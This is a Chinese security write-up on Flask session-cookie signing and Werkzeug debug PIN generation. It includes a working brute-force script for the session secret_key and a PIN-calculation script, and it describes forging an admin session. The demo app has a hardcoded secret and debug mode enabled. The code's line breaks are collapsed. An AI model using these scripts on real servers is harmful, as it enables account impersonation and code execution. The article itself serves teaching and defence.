首頁>科技>

No.1宣告

由於傳播、利用此文所提供的資訊而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權宣告等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

No.2前言

探討一下flask中的session key和debug pin,錯誤地方請指正。

No.3session的key

多數session機制的框架都使用的服務端session機制,而在flask中是使用的客戶端session機制,flask身份驗證的關鍵是hmac簽名的驗證,hmac演算法的祕鑰是secret_key,secret_key的洩露會造成使用者身份的偽造。

No.4session的生成

先放一個瀏覽器cookie中的session:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw.8BX5umPdxMeIY2QwGKbAva2Cnk8接下來看一下該session的生成過程。首先是session這個dict的初始化函式呼叫路徑:app.py中wsgi_app->push->open_session,最終呼叫sessions.py中的open_session()。open對應著session的讀取,讀取呼叫URLSafeTimedSerializer物件的loads方法:

def open_session(self, app, request):s = self.get_signing_serializer(app)if s is None:return Noneval = request.cookies.get(app.session_cookie_name)if not val:return self.session_class()max_age = total_seconds(app.permanent_session_lifetime)try:data = s.loads(val, max_age=max_age)return self.session_class(data)except BadSignature:return self.session_class()

當沒有cookie可讀取時,val為空,在open_session中返回self.session_class()即SecureCookieSession(),class SecureCookieSession(CallbackDict, SessionMixin)從CallbackDict繼承過來的,class CallbackDict(UpdateDictMixin, dict)是繼承的原生dict,至此session的dict已經建立好了,繼承中增加了permanent、modified等屬性。另外flask中使用的session變數是RequestContext例項的變數,初始化後的session變數是儲存在RequestContext上的,所以可以通過from flask import session來使用,詳情點連結https://cizixs.com/2017/01/13/flask-insight-context/。

接下來是賦值session的函式呼叫路徑:app.py中wsgi_app->full_dispatch_request->finalize_request->process_response->save_session,最終呼叫sessions.py中的save_session()函式來生成的session並setcookie。save對應著session的寫入,寫入呼叫URLSafeTimedSerializer物件的dumps方法:

def save_session(self, app, session, response):……………………………………………………val = self.get_signing_serializer(app).dumps(dict(session))response.set_cookie(app.session_cookie_name,val,expires=expires,httponly=httponly,domain=domain,path=path,secure=secure,samesite=samesite,)

session中關鍵點:self.get_signing_serializer(app).dumps(dict(session)),在get_signing_serializer中呼叫URLSafeTimedSerializer的dumps將身份資訊{'idcard': 'choudoufu', 'username': 'accdf'}變成session,在預設情況下,除了app.secret_key的值是不知道的,其它的引數都是固定好,所以只要獲取到secret_key,就可以dumps任何資訊進行session偽造了:

salt = "cookie-session"digest_method = staticmethod(hashlib.sha1)key_derivation = "hmac"serializer = session_json_serializersession_class = SecureCookieSessiondef get_signing_serializer(self, app):if not app.secret_key:return Nonesigner_kwargs = dict(key_derivation=self.key_derivation, digest_method=self.digest_method)print(signer_kwargs)return URLSafeTimedSerializer(app.secret_key,salt=self.salt,serializer=self.serializer,signer_kwargs=signer_kwargs,)

URLSafeTimedSerializer類是itsdangerous庫中的,這個庫是用來進行簽名的,URLSafeTimedSerializer中關鍵呼叫如下:

# 分步探討下session三部分怎麼生成的~/itsdangerous/serializer.py:def dumps(self, obj, salt=None):payload = want_bytes(self.dump_payload(obj)) # 呼叫dump_payload將傳入的身份資訊obj {'idcard': 'choudoufu', 'username': 'accdf'} 先序列化掉(json後壓縮可減少長度的zlib.compress壓縮一下),再進行base64編碼返給payloadrv = self.make_signer(salt).sign(payload) # 對payload呼叫make_signer進行簽名處理if self.is_text_serializer:rv = rv.decode("utf-8")return rv~/itsdangerous/url_safe.pydef dump_payload(self, obj): # dump_payload中序列化、壓縮、編碼程式碼,在這個函式中得到cookie中session的第一部分:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9print('dump+payload')json = super(URLSafeSerializerMixin, self).dump_payload(obj)is_compressed = Falsecompressed = zlib.compress(json)if len(compressed) < (len(json) - 1):json = compressedis_compressed = Truebase64d = base64_encode(json)if is_compressed:base64d = b"." + base64dreturn base64d~/itsdangerous/serializer.py:def make_signer(self, salt=None): # make_signer中呼叫Signer類進行簽名處理"""Creates a new instance of the signer to be used. The defaultimplementation uses the :class:`.Signer` base class."""if salt is None:salt = self.saltreturn self.signer(self.secret_key, salt=salt, **self.signer_kwargs)~/itsdangerous/timed.pydef sign(self, value): # 在sign函式中取了個時間戳並base64編碼,得到session的第二部分:XnBuaw,與session的第一部分進行拼接得到一個新的value:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw"""Signs the given string and also attaches time information."""value = want_bytes(value)timestamp = base64_encode(int_to_bytes(self.get_timestamp()))sep = want_bytes(self.sep)value = value + sep + timestampreturn value + sep + self.get_signature(value)~/itsdangerous/signer.pydef get_signature(self, value): # 這裡的value是timed.py中sign生成的新valuekey = self.derive_key() # 在derive_key()中使用secert_key對salt進行hmac加密獲取到新的keysig = self.algorithm.get_signature(key, value) #在HMACAlgorithm.get_signature()中使用新的key,對新的value加密獲取到簽名,base64後獲得session第三部分:8BX5umPdxMeIY2QwGKbAva2Cnk8return base64_encode(sig)~/itsdangerous/signer.pydef sign(self, value): # 前兩部分新value與簽名拼接後return完整的session"""Signs the given string."""return want_bytes(value) + want_bytes(self.sep) + self.get_signature(value)

到此可得到給使用者返回session三部分結構:身份資訊json的base64字串.時間戳的base64字串.前兩部分hmac簽名的base64字串。

No.5session的偽造

依舊該session:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw.8BX5umPdxMeIY2QwGKbAva2Cnk8在session的生成中看到flask預設配置情況下除了secret_key未知,其他簽名引數都是已知。能夠獲取到secret_key的方式大概可能有原始碼洩露、檔案包含漏洞讀取原始碼、模板注入漏洞、爆破(暫時想起四個)。前三種方式獲取到app.config['SECRET_KEY'] = 'abc123456'時,可利用flask-session-cookie-manager工具(PS:python2與3的生成時間戳不同)進行session偽造,先從eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9解碼得到格式{"name":"choudoufu","username":"accdf"},再根據格式使用工具偽造的管理員session:

第四種方式,爆破原理就是session的生成原理,簡單點的key還是可以爆破下的,具體就直接利用URLSafeTimedSerializer去loads,爆破demo:

import sysfrom itsdangerous import *import hashlibfrom flask.json.tag import TaggedJSONSerializerdef Brute(cookie_session, secret_key_list):salt = 'cookie-session'serializer = TaggedJSONSerializer()signer_kwargs = dict(key_derivation='hmac', digest_method=hashlib.sha1)for secret_key2 in secret_key_list:secret_key = secret_key2.strip('\\n')print('[*] test ' + secret_key)try:val = URLSafeTimedSerializer(secret_key, salt=salt,serializer=serializer,signer_kwargs=signer_kwargs)val.loads(cookie_session)print('[+] brute success, secret_key: ' + secret_key)returnexcept:passprint('[-] brute fail')if __name__ == '__main__':if len(sys.argv) != 3:print('python3 brutesession.py 普通使用者session 爆破字典路徑')# python3 brutesession.py 'eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw.8BX5umPdxMeIY2QwGKbAva2Cnk8' ./pass.txtexit()cookie_session = sys.argv[1]secret_key_file = sys.argv[2]with open(secret_key_file, 'r') as f:secret_key_list = f.readlines()Brute(cookie_session, secret_key_list)

No.6debug的pin

flask框架開啟debug模式時候,在web頁面輸入pin進入python shell可對程式進行除錯。

pin的生成

先放一個pin:Debugger PIN: 291-895-753,爆破xxx-xxx-xxx-xxx格式的pin次數是10億-1次,而pin碼的生成是與硬體物理資訊相關的,是以一種特定於專案的穩定方式生成的,所以flask web檔案在伺服器中相關屬性沒變那pin就是固定的,但在沒有例如檔案讀取之類的漏洞輔助情況下,破解pin碼只能爆破。接下來主要看一下該pin的生成過程。

生成pin函式呼叫路徑為app.py中run()->run_simple()->DebuggedApplication.pin()->get_pin_and_cookie_name(),最終在~/werkzeug/debug/__init__.py的get_pin_and_cookie_name函式中生成了pin碼。如果系統環境變數配置了WERKZEUG_DEBUG_PIN,就直接拿來用pin。(很少有人配置的)

pin = os.environ.get("WERKZEUG_DEBUG_PIN")rv = pin

沒有配置系統環境變數情況下,就要獲得flask模組資訊和硬體資訊:

probably_public_bits = [username, # getpass.getuser()獲取的使用者名稱modname, # getattr(app, "__module__", app.__class__.__module__)獲取的模組名,預設:flask.appgetattr(app, "__name__", app.__class__.__name__), # 類名,預設:Flaskgetattr(mod, "__file__", None), # mod = sys.modules.get(modname)獲取的模組路徑]

private_bits = [str(uuid.getnode()), get_machine_id()] # uuid.getnode()獲取網絡卡十進位制值、get_machine_id()獲取機器碼

probably_public_bits列表的資訊,預設裝的flask相關資訊固定的,使用者名稱和路徑可以從報錯資訊得到,但private_bits列表的資訊都是不確定的。接下來hashlib.md5()依次update(): root、flask.app、Flask、/usr/local/lib/python3.6/dist-packages/flask/app.py、2xxxxxxxxxb、dxxxxxxxxxxxxxxxxxxxxxxxxxa、cookiesalt、pinsalt資訊,然後取md5十進位制前九位組合出pin。通過其他漏洞獲取到網絡卡資訊和機器碼後,可以自行計算出pin碼:

import hashlibfrom itertools import chainprobably_public_bits=['root', 'flask.app', 'Flask', '/usr/local/lib/python3.6/dist-packages/flask/app.py']private_bits=['2xxxxxxxxxxxx0', b'dxxxxxxxxxxxxxxxxxxxxxxxxxa']h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")h.update(b"pinsalt")num = ("%09d" % int(h.hexdigest(), 16))[:9]for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakprint(rv)

結果相同:

測試demo

from flask import Flaskfrom flask import sessionapp = Flask(__name__)app.config['SECRET_KEY'] = 'abc123456'# set [email protected]('/')def set():session['username'] = 'accdf'session['idcard'] = 'choudoufu'return 'hello accdf'# check admin [email protected]('/admin/')def admin():if session['username'] == 'admin':return 'is admin'else:return 'not admin'# debug [email protected]('/bug/')def bug():a == bif __name__ == '__main__':app.run(host='0.0.0.0', port=80, debug=True)

最新評論
  • 整治雙十一購物亂象,國家再次出手!該跟這些套路說再見了
  • 因賣口罩?3900個亞馬遜店鋪被封!貨款將被扣90天,賣家喊冤